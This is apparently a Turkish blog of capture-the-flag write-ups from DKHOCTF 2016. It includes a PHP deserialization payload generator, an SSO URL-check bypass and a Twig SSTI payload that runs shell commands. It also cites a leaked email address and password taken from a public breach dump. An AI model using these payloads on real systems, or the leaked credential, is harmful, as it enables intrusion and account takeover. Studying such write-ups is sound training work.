Wednesday, May 18, 2016

DHKOCTF - For500

Bu soruda ise bir adet pcap dosyasi ile basbasaydik, trafigi incelemeye basladik once ftp trafigini gorduk bi yandan ben pcap dosyasini parse ediyorum bi yandan deniz ordan cikan datalarla ilgili arastirma yapiyor tam bir rush icindeyiz, tehlikeli oldugumuzu bir kere daha ispatlamak icin dehsetul vahset bir heyecan icerisindeydik. Ftp trafigi bittikten sonra TLS trafigi baslamaya basladi, iste dedik simdi hopasinanay kesin ftp sunucusu icinden private keyini falan bulmamiz gerekecek TLS trafigini goruntulemek icin, bi yandan pastebin linkleri cikip duruyor onlara bakiyoruz falan troll troll mesajlar derken derken, bir anda IRC trafigi basladi ve asagidaki gibi bir mesaj ile karsilastim:

merhaba ben cin mafyasindanim. 421750451@qq.com bu epostanin parolasini ariyorum. salak bikac tane ucretsiz host firmasina kayit olmus. belki bu sana yardimci olur. parolasini bulup getirir misin?

PRIVMSG #dkhoctf :yuh lan
PRIVMSG #dkhoctf :size
PRIVMSG #dkhoctf :boyle soru mu olur
PRIVMSG #dkhoctf :!!!! 

iyi dedik heralde gorev tanimimiz bu, devam ettim trafigi incelemeye derken bir de ne gorelim 000webhost'a ve bir kac tane daha free hosting sitesine requestler var hepsini atiyorum denize, demesin mi 000webhost hacklendiydi onun leaki var, hemen bulduk leak datasini:

https://000webhost.thecthulhu.com/

Zaten sifre de icindeydi : zzz3686502

ggwp.

Tuesday, May 17, 2016

DKHOCTF - Rev100

Eveet can sikmanin babasi adeta atasi flow yonlendirme sorularindan birisiyle daha karsi karsiyaydik. Soru aslinda kolay gozukuyordu cok fazla fonksiyon yoktu, ozellikle bir tanesi uzun govdesi ve icerdigi putcharlarla oldukca dikkat cekiyordu:


E flowu madem verelim bir 0x400640'a gorelim neler olacak dedik, actik gdb ile breakpointimizi koyduk b *0x40053f adresine (tam mainden return olurkene), sonra bastik jump *0x400640 'yi ve

Babayi buldun! :D 
IJ2UIYLIMFBGC43MMFXGO2LD


yazisi ile karsilastik, e iyi dedik hos dedik allem ettik kallem ettik bir turlu beceremedik, daha yarismanin ilk saatleri bu arada neyse dedik sonra cozeriz bunu da ve tami tamina 3 gun boyunca lanet olasica seyi decode edemedik, ustelik nsa, fbi ve cia'den aldigimiz desteklere ragmen. Basiret baglanmasi olsa gerek base32'i aklimizin en ufak bir kiyisindan bile gecmedi, sonuc submit edemedik ama edebileydik eyiydi yani :(

DKHOCTF - Web 300

Bu sorudaysa cookie olarak bir serialized object saklanmaktaydi, sunucu direk bu objeyi unserialize edip kullaniyordu. Bu kismini gormemiz gercekten cok cabuk oldu zaten bariz birseydi, daha sonra bilinen bilimum class'lar ile deneyip "handle" nesnesinin read veya close methodlarinin calistirildigina karar kildik sonra exploit etmek icin ugrastik, ugrastik ve ugrastik....



Saatler sonra(hatta belki de gun) backup.zip'i fark etik, bundan sonrasi ez'ydi zaten, asagidaki gibi bir payload generator yazip cocugu koyduk.

<?php
require_once ("Process.php");
require_once ("Database.php");

class Session
{
   protected \$name, \$lastname, $handle;

   function __construct(\$name, \$lastname)
   {       \$this->name = new Process("../var/www/html", "flag.txt"); 
       \$this->lastname = \$this->name;#new Process("../etc", "passwd"); 
       \$this->handle = \$this->name;#new Process("../etc", "passwd");
   }

   function getName(){
       return \$this->name;
   }

   function getLastName(){
       return \$this->lastname;
   }

   function __destruct()
   {
       echo "__destroy<br/>";
        \$this->_destroy();
   }

   function _destroy(){
       // TODO: Look at the scrum board.
        \$this->handle->close();
   }

} 
\$session = new Session("test", 123); 
echo base64_encode(serialize(\$session));

daha sonra cikan degeri cookie'mize kouyoruz ve tadaa

DKHOCTF - Web 400

Bu soruda siteye login oldugunuzda form datanizla birlikte size bir session olusturup daha sonra da bir sso adresine redirect olup burdan yeni bir sso cookie'si olusturuyordu, redirect oldugumuz sayfanin url'i asagidaki gibiydi:

http://52.58.31.66/api.php?method=login&sso=http://sso.prodaft.rocks

bu sayfaya gelirkenki post ve get datasini inceledigimizde hic bir sey gelmedigini sadece session id'mizin passlandigini gorduk. Uzunca bir sure session id uzerinden bisiler denedik ama bir sonuca varamadik daha sonra da bu linke bir conenction gonderildigini dusunduk ve sso parametresini degistirmeye calistik, ama bu adresten baska butun adresler icin url abuse detected hatasi aliyorduk. Daha sonra ipucunun da yardimiyla bu url kontrol edilirken sadece startswith kontrolu yapildigini dusunduk ve urli http://52.58.31.66/api.php?method=login&sso=http://sso.prodaft.rocks.0xdeffbeef.com/ seklinde degistirerek kendi uzerimize yonlendirdik, buradan kendimize request ulastigini ve sayfadaki content ile bize bir user sesioni olusturuldugunu gorduk, daha sonra da sayfada admin contentini bastirdik ve tadaa flag karsimizdaydi.

DKHOCTF Web-500

Bu soruda sunucuya baglandigimizda

This is an internal app. You are not allowed.

yazisiyla karsilasiyorduk, gorur gormez x-forwarded-for headerini 127.0.0.1 yapip denemek geldi aklimiza ve bam icerdeydik, ardindan bizi bir kayit formu karsiliyordu, kayit formunun source codeuna baktigimizda en ustunde

<!--
require('config.inc');
require('functions.php');
-->

satirlarini goruyorduk. hemen config.inc'nin icine girdik ve

define("SECRETKEY", "SYG1BZUUTjsKesRq5uZJWB8ggXQyaS8hZR0hKMQj4is9V36W9x");



secretkeyimizi aldik. daha sonra formu submitledigimizde gonderdigimiz datalar ile belirli bir checksum yapildigi belliydi ve form sadece [a-zA-Z] karakterleri ile submission yapmamiza izin veriyordu. Bu secret keyle nasil bir hashleme yapildigini cozduk once, bilimum varyasyonlari denerken md5("f+l+secret") oldugunu kesfettik. Butun bunlar soru acildiktan yarim saat sonra falan gerceklesmisti sanirim tam hatirlamamakla birlikte, sonra yarismanin son 9 dakikasina kadar bilimum xss, code injection,sqli,rfi,lfi falan herseyi denedik ama nafile. Yarismanin sonuna kadar gelen hintler de hep bu bildigimiz yerlerden oldugu icin yine pek kar etmedi ama yarismanin son aninda "SSTI" denmesi ile birlikte kafalarimizi taslara vurduk, rendering engine'i kesfedecek kadar zamanimiz yoktu maalesef resmen "buna bas buna bas" methodolojisi ile cozmeye calistik lakinki sure yetmedi. Mehmet Ince'nin postundan engine'in twig oldugunu gorduk dun, bugun de soyle tatli bir payload yazdik. Guzel soru +rep ellerinize saglik.

http://52.58.73.114/success.php?f={{_self.env.registerUndefinedFilterCallback(%27exec%27)}}&l={{_self.env.getFilter(%27cat%20flag.txt%27)}}&t=xxxxx

Congratulations

Dear flag{Y0uRWebStaRSendUrCVtoxxxxDOTxxxATxxxxDOTxxx}. Thank you for registration.